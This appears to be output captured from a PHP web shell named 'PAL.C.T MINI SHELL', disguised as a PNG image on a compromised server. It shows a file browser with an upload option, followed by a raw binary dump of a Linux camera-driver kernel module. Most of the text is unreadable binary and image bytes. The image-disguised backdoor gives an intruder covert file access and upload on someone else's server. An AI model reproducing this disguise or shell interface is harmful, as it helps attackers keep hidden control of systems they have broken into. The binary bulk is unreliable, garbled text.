php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /lib/modules/2.6.32-431.1.2.0.1.el6.i686/kernel/drivers/media/video/
upload
files >> //lib/modules/2.6.32-431.1.2.0.1.el6.i686/kernel/drivers/media/video/cafe_ccic.ko

ELF4("!GNUWk3x$Z@ՏÍv'StCtHt1҉[ø[Ð@T@PÐ&$Ӊt$ppۍlu$t$ЃAÍt݉׍&'$A(A,A0A4A8A<A@A 1Ðt&1Í&ЃÐt&1Í'$Ht$؉։|$l$tG@t,pPt%։Ɖ$t$|$l$Ðܐ$Ht$؉։|$l$tG@t,pLt%։Ɖ$t$|$l$Ðܐ$Ht$؉։|$ωl$tF@t4HHt-щʼn$Gt$|$l$Ðԉ'$Ht$؉։|$ωl$tF@t4HDt-щʼn$Gt$|$l$Ðԉ'$Ht$؉։|$l$tGt-p$t&։Ɖ$t$|$l$fې$Ht$؉։|$l$tGt-p t&։Ɖ$t$|$l$fې$Ht$؉։|$l$tGt-pt&։Ɖ$t$|$l$fې$ˉt$l$|$xpH;skX߃1$t$|$l$Ív'(\$ˉt$|$ ׉l$$A;t-;t ;t;DFHSCFT$SD$T$ST$ST$tG@t]HptVT$щ‰$|$L$D$${|$Kl$$C{|$ Nt$KCЋ\$(ú뭉'SXTCTHCPCPucCT[H$Ét$։|$|$l$!ҋl$!Ћ	$|$t$&'VSÃ$D$(D$T$0T$<T$tJP|Jtu1хu&tPRtRJttKщƋ
T$D$	L$tH	tI$tщ1[^Ív뺐1[^Ív'UWVSÃHT=Lǃ+1Et&D$95D${`D$T$T$$`uDtRPtKD$D$t==T$$T$D$+&DŽC`ph`t$D$$t&s]C`Xh`\$D$$[^_]Í_8P&t
1[^_]Ã=~C`Xh`\$D$$1f-D$T$C``D$tRFfuD$u mtD$T$$D$T$ǃ,띍v't$ƸO$\|$NjƉ
1$t$|$Ít$ƸO$\|$NjƉ%$t$|$ÍL4l$HT$T\$<t$@t$P|$D|$XT$t(`\$<t$@|$Dl$HLÍt&D$\\T$T$ l$D$$¸ƋD$%
D$ ¼D$$6umd`D$,D$4D$(l$(D$0D$4D$8L$D$u
u؋D$ŋƉG1fL$\l$ L$$¸ƋD$ %
D$$¼
ruqdD$,D$4D$4l$(D$8`D$(D$0D$t&D$u
u؋D$ŋƉT$\1bC`Xh`L$$T$ \$L$L$T$D$$<L$@`Xh`|$\$D$$C`Xh`T$$L$ \$T$T$L$D$$T$C`Xh`T$$L$ \$T$L$D$$nC`Xh`T$$L$ \$T$L$D$$l2fWVStX1OP~vX{9r11kXD8L9w዆dž1dž[^_ø[^_Í&ȉ$Ӊt$A$A(uAtAttӋ$t$f$t$F$a"1$t$Ít&tÍvA$AA0A41Ít&'S%ȉC%1CPCT[fUWVS,L$XpHD${PtD$,[^_]ÍvD$9D$D$tA\NJ‰6vf|$1Gful$l$dD$D$D$;uw{Pu{D$;|$uЋD$D$D$ D$D$$D$$D$(fF@u?$;tۋ$t{P$\$t$Ή|$l$PpH؉$6$;skX1Ft$\$t$|$l$Í&uӍ\F$$ʼn1똍S˸v	[Í&A C,1[Ã\$Ӊ|$t$l$ppBjL

t\$t$|$l$Í&H$t+9n<t2FX1vx<ƃX9t9r$둍tVL1ɉuځKsTCH0NCT@P뼍$t$\\$É|$l$ ͉T${TG;rǃ1CTt\ǃ8D$9F¸u
L$(1҉1Q\$t$|$l$ $fǃ똋C`Xh`T$\$D$$T$릍4l$0\\$$Ӊ|$,t$(0t/?usu3v\$$t$(|$,l$04Ívv1ސt&0`$뜍&?0l1CTT$l$ljL$T$ f;t77'CPC`Ph`T$T$D$T$$;ct&l$8{KTqt&LC`Ph`T$T$t$T$D$$$t&CPǃD$$T$*D$ &;r1ɺ<$<1ɺ,$?'CPlt&'UWVSÃ \D$D$T$CT1퍓D$T$F;r
ǃT$2D$;2T$D$8GL8GG4GGD$D$GBL$94T$9tl$T$D$ [^_]C`ph`t$D$$L렍UWVSÃ1D$C`T$`D$T$tyGfuD$u*D$@D$tD$T$$D$T$T$DŽ9Wǃ[^_]ú,s&t$\$É|$´Ǹ280\1@@
$t$|$&WV\SÉ80Ǹ\10
000Ǹ
@00@@%<<1,ˆf1[^_t&WV\SÉNj@@%80\10´1´[^_'VSFpHÉCXuKTCXCX1[^Í&'hdЀl$deD$T1\$Xt$\D$$|$`D$ fxD$@D$D$$tE`t;T$Te30\$Xt$\|$`l$dhÍHT$D$/ǃ\CPKT`l$1k` r񍃨ىǃ$ǃ(ǃ,YUYVǃ0ǃ4ǃ8`	ǃD11҉+1ɺ \$D$=$~؍\D$Nj,,
%ǃ\ǃC`ڃ`((D$J-GDT$ D$T$ fǃBT$D$D$D$B$D$sPd"D$LD$(D$,P
T$(хt$L ؾCP{d9D$D$d1Cdǃt|D$D$HC`xh`t$|$D$$\D$딾ChtD$2tC`Xh`\$D$$C`xh`t$|$D$$(/$$_vUWVSÍ\$Ƌ<<XACTttdD$D$D$l$D$ lD$D$D$&D$CTt
u݋D$CTu@CPƋ,,$[^_]ËC`ph`t$D$$뜐&$Í@`t$|$l$ljuoPdoP$t$|$l$Ðt&$t$|$ppt؋t$$|$Ít&H~Pt
ύt&1萍t&t$|$lj$XpHCX9{\CXtBt1$t$|$ÍtщȍCXC\뤍VS@`HsXjt=C`ڋC`Cd؃[^C`ph`t$D$$ot$$[^Í&'\$Él$t$|$ppyt\$t$|$l$Í&H$$)u~PMʼn뮍v~Pt
vF\t9u^\99kXЀ$$tdž11uHvE@EPuT]EEE8E<9v|kXmm8%E@$EL$ut#$$1f뽉$4$fUWVSÍ\NjV@@
1(4?%	ȃ4184$?$%	,RGBPYUYVR444tkC`Ph`T$T$l$T$D$$N<<%?cT1[^_]Ít&<<%
뛋@@%<<%̀2&<<%&UWVSÅCT\ǃŋtST19w񋓤?ǃ0,,?{P<<1[^_]ÍvqB[^_]1F¸Őt&|$Ǎ@`\$t$Ét\$t$|$Íu|HKX~XzKTSPt&tu؋t$\$|$VCPlt&뭋C`Xh`\$D$$D8|$$t$Xpt$t$|$Ít&H{Ptʍ&tǃ̍t&<t$0Ɖ|$4l$8͉\$,T$XpHCPIxD$@T$$+uBC\uf{Ps\tu xQD$@T$$‰T$T$\$,t$0|$4Ћl$8<Í9tʐt&dD$D$$D$$D$(lD$D$ D$vD$T$y
u׋D$T$3C`ph`t$D$$xu
t0t&t&'\$Ӊt$Ή|$l$zPtЋ\$t$|$l$ËuۋV;t-;t ;t;DډuHF$F҉(F,F0F4F8F<F @GDt=;8rt6$$u1҉u뽉R?n$NSM-u
Fz%gs%9	J	Y	^	v				
,
3
E
P




l$6GN`k

C
\
n






/
4LoxYx[
n

1duY
%4	>L"'g8ZinZ_6Lbx$4D[~%-?i7D
Idoz'.?Jeq
}
  - 7 A 
  $!<!E!k!z!!!!!!!!!!	",";"@"G"U"h"m"y"~"""""""""!#<#I#Z#g#~########$i$v$$$$+%@%q%%%%%%%%%%L&o&&&&f'''((4(G(Z(((((()
)%)8)F)b)z)))))))*I*******5+>+c+}+++,,I,[,,4-j-------...........W/NLg% ffSD$$t% t$؃[
#(5:OLPCXO1cafe@flipmax_buffersmin_buffersdma_buf_sizen_dma_bufsalloc_bufs_at_read,P0 $@.&P0,0$@p (,04 Dhlpt048<4>%s %s: Failed to allocate DMA buffer
/builddir/build/BUILD/kernel-2.6.32-431.1.2.el6/linux-2.6.32-431.1.2.0.1.el6.i686/arch/x86/include/asm/dma-mapping.h<3>%s %s: Insufficient DMA buffers, cannot operate
<4>%s %s: Will limp along with only 2 buffers
<3>%s %s: SMBUS write (%02x/%02x/%02x) timed out
<3>%s %s: SMBUS write (%02x/%02x/%02x) error
<3>%s %s: SMBUS read (%02x/%02x) error
<3>%s %s: SMBUS read (%02x/%02x) timed out
<3>%s %s: deliver_buffer: No next buffer
<3>%s %s: Frame overrun on %d, frames lost
<3>%s %s: Frame interrupt in non-operational state
<3>%s %s: No valid bufs in tasklet!
<5>Marvell M88ALP01 'CAFE' Camera Controller version %d
<3>Unable to register cafe_ccic driver
<3>Unable to ioremap cafe-ccic regs
<3>Unable to register cafe i2c adapter
<4>%s %s: Cam init with device in funky state %d<3>%s %s: Unsupported sensor type 0x%x<4>%s %s: Unable to alloc DMA buffers at load will try again later.<3>%s %s: Timeout waiting for DMA to end
<4>pci_remove on unknown pdev %p
<4>%s %s: Removing a device with users!
<4>%s %s: Unable to re-enable device on resume!
<3>%s %s: read() operation timed out
YHIMtX^<)h*+ $(,	,,<3>%s %s: funky xfer size %d
Cameracafe_ccic&cam->s_mutexcafe-ccicov7670<3>%s %s: Unknown format %x
cafe1000-ccicYUYV 4:2:2RGB 444RGB 565Raw RGB Bayerg}}parm=flip:If set, the sensor will be instructed to flip the image vertically.parmtype=flip:boolparm=max_buffers:The maximum number of streaming I/O buffers an application will be allowed to allocate.  These buffers are big and live in vmalloc space.parmtype=max_buffers:uintparm=min_buffers:The minimum number of streaming I/O buffers we are willing to work with.parmtype=min_buffers:uintparm=dma_buf_size:The size of the allocated DMA buffers.  If actual operating parameters require larger buffers, an attempt to reallocate will be made.parmtype=dma_buf_size:uintparm=n_dma_bufs:The number of DMA buffers to allocate.  Can be either two (saves memory, makes timing tighter) or three.parmtype=n_dma_bufs:uintparm=alloc_bufs_at_read:Non-zero value causes DMA buffers to be allocated when the video capture device is read, rather than at module load time.  This saves memory, but decreases the chances of successfully getting those buffers.parmtype=alloc_bufs_at_read:boollicense=GPLdescription=Marvell 88ALP01 CMOS Camera Controller driverauthor=Jonathan Corbet <corbet@lwn.net>srcversion=FB306E9F74BE95D8FCF174Aalias=pci:v000011ABd00004102sv*sd*bc*sc*i*depends=videodev,i2c-core,v4l2-commonvermagic=2.6.32-431.1.2.0.1.el6.i686 SMP mod_unload modversions 686 D$IUa$ny$ $(048<DHLPX\`dlptnAmodule_layoutCvideo_ioctl2video_device_release_emptyparam_get_uintH̅2param_set_uintparam_get_bool>a-param_set_boolԣpci_restore_state
5Vvmalloc_user[__kmallocֵ$video_unregister_device"pci_disable_deviceEw,pci_save_state__stack_chk_fail\	nSpci_iounmapث
free_irqZi2c_del_adapter Lvideo_register_deviceh,v4l2_i2c_new_subdev_cfg`dmi_check_systemmNTi2c_add_adapter+dev_set_drvdatamrequest_threaded_irq$'lpci_iomap
qhpci_set_masterlpci_enable_devicetasklet_init__init_waitqueue_head[|J__mutex_init[v4l2_device_unregisterev4l2_device_registerEkmem_cache_alloc_tracemalloc_sizes9video_devdatamsleep˗y__pci_register_driverκ`.memcpy__tasklet_schedule7printk_ratelimitT.d__wake_ups8_spin_lock-copy_to_user5_remap_vmalloc_rangesstrlcpyC__list_addL6BschedulestrcpyNv4l2_chip_match_hostzkfreevfree"&˜finish_wait?,schedule_timeout/3prepare_to_wait'|autoremove_wake_function}per_cpu__current_taskdev_get_drvdatayK_spin_unlock_irqrestore*q_spin_lock_irqsave__const_udelayR0warn_slowpath_null<dma_release_from_coherentpv_irq_ops՗#printkqdev_driver_stringe(x86_dma_fallback_devՙu	dma_alloc_from_coherentCdma_ops[+memsety!lCiowrite32_ioread32(mutex_unlockmutex_lockĈpci_unregister_driver
`	k %# +yYUYVR444
RGBPBA81
A(
,048D



cafe_ccic<Hdmodule.sigFR
	#!oFF
z{ lƫ	pX7U	
/.@?PBMKg	{
 t oow
w(o;poNodPfy@0R`P
d
Z,
<R|k@5.t0@00		 %E/BpW[fpy R		"(#[ 0$[6$G %W&kw'8 * +,|,@.RNN!D	2G`tI	@Z(U	X<)a
	ByUlPn	  !dy	
A`:.(=8F(	T	gw# +`&@E'7IS]Lkz
	E	,	=	F	U	f	s					8			

*
=
E
R
e
t









"7GRekx0KR\cafe_ccic.ccafe_smbus_func__cafe_cam_resetcafe_v4l_vm_opencafe_v4l_pollcafe_vidioc_g_fmt_vid_capcafe_vidioc_g_inputcafe_vidioc_s_inputcafe_vidioc_s_stdcafe_exitcafe_pci_drivercafe_vidioc_enum_frameintervalscafe_vidioc_enum_framesizescafe_vidioc_s_parmn_dma_bufscafe_vidioc_g_parmcafe_vidioc_s_ctrlcafe_vidioc_g_ctrlcafe_vidioc_queryctrlcafe_vidioc_querybufcafe_vidioc_try_fmt_vid_capcafe_formatscafe_v4l_vm_closecafe_reg_write_maskcafe_cam_configureflipcafe_alloc_dma_bufsdma_buf_sizecafe_smbus_write_donecafe_smbus_read_donecafe_smbus_xfercafe_free_sio_bufferscafe_vidioc_g_chip_identcafe_vidioc_enum_inputcafe_vidioc_querycapcafe_vidioc_dqbufcafe_vidioc_qbufcafe_vidioc_enum_fmt_vid_capcafe_v4l_mmapcafe_v4l_vm_opscafe_deliver_buffercafe_irqcafe_frame_taskletcafe_initcafe_free_dma_bufscafe_ctlr_power_downcafe_ctlr_initcafe_ctlr_power_upcafe_v4l_opencafe_pci_probe__key.34815__key.34817__key.34818cafe_smbus_algoolpc_xo1_dmicafe_v4l_templatealloc_bufs_at_readcafe_ctlr_stop_dmacafe_pci_suspendcafe_vidioc_streamoffcafe_v4l_releasecafe_pci_removecafe_vidioc_reqbufsmin_buffersmax_bufferscafe_ctlr_configurecafe_read_setupcafe_pci_resumecafe_vidioc_streamoncafe_v4l_readcafe_vidioc_s_fmt_vid_cap__mod_flip116__mod_fliptype113__param_flip__param_str_flip__mod_max_buffers110__mod_max_bufferstype106__param_max_buffers__param_str_max_buffers__mod_min_buffers103__mod_min_bufferstype100__param_min_buffers__param_str_min_buffers__mod_dma_buf_size97__mod_dma_buf_sizetype93__param_dma_buf_size__param_str_dma_buf_size__mod_n_dma_bufs90__mod_n_dma_bufstype87__param_n_dma_bufs__param_str_n_dma_bufs__mod_alloc_bufs_at_read84__mod_alloc_bufs_at_readtype79__param_alloc_bufs_at_read__param_str_alloc_bufs_at_read__mod_license61__mod_description60__mod_author59cafe_idscafe_v4l_fopscafe_v4l_ioctl_opscafe_ccic.mod.c_rheldata__mod_srcversion102__mod_alias100__module_depends____versions__mod_vermagic5strcpypci_save_statefree_irqioread32dma_opsvideo_ioctl2v4l2_i2c_new_subdev_cfgdev_get_drvdatapci_enable_deviceiowrite32pci_iomap__this_moduleparam_get_boolfinish_wait__pci_register_drivercleanup_moduleparam_set_uintprepare_to_waitmemcpykfree__wake_upkmem_cache_alloc_tracepci_unregister_driverinit_moduledev_driver_stringschedule_timeoutscheduleparam_get_uint__stack_chk_failvmalloc_uservideo_devdatapv_irq_opsi2c_del_adapterdma_alloc_from_coherent__mod_pci_device_tablerequest_threaded_irqdma_release_from_coherenttasklet_init_spin_unlock_irqrestoremutex_lockwarn_slowpath_nullstrlcpycopy_to_user__tasklet_scheduleparam_set_boolvideo_unregister_deviceprintk__mutex_initpci_iounmappci_restore_statememsetdmi_check_systempci_set_mastervideo_register_deviceprintk_ratelimit__init_waitqueue_headv4l2_device_registeri2c_add_adapter__list_add_spin_lock_irqsavevfreemutex_unlock__const_udelayx86_dma_fallback_dev_spin_lockv4l2_device_unregisterpci_disable_devicemalloc_sizesv4l2_chip_match_hostautoremove_wake_functiondev_set_drvdataremap_vmalloc_rangevideo_device_release_emptymsleep__kmallocper_cpu__current_taskcafe_ccic.ko.debug0q.rodata.str1.1.rodata.str1.4.rel.data.rheldata.rel.rodata.symtab.strtab.shstrtab.note.gnu.build-id.rel.gnu.linkonce.this_module.note.module.sig.gnu_debuglink.rel__param.modinfo.rel.smp_locks__versions.rel.parainstructions.rel.altinstructions.bss.altinstr_replacement.rel.text.rel.init.text.rel.exit.textY4$#`/	/ <<
8	 <	0<
-:<E)	<@7<` 3	 C	28DH0	I`hI	xI2I,J	DJ J hPx	P)QQ@ #d8 	8e`peL l	fff`?\gGtrOG
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`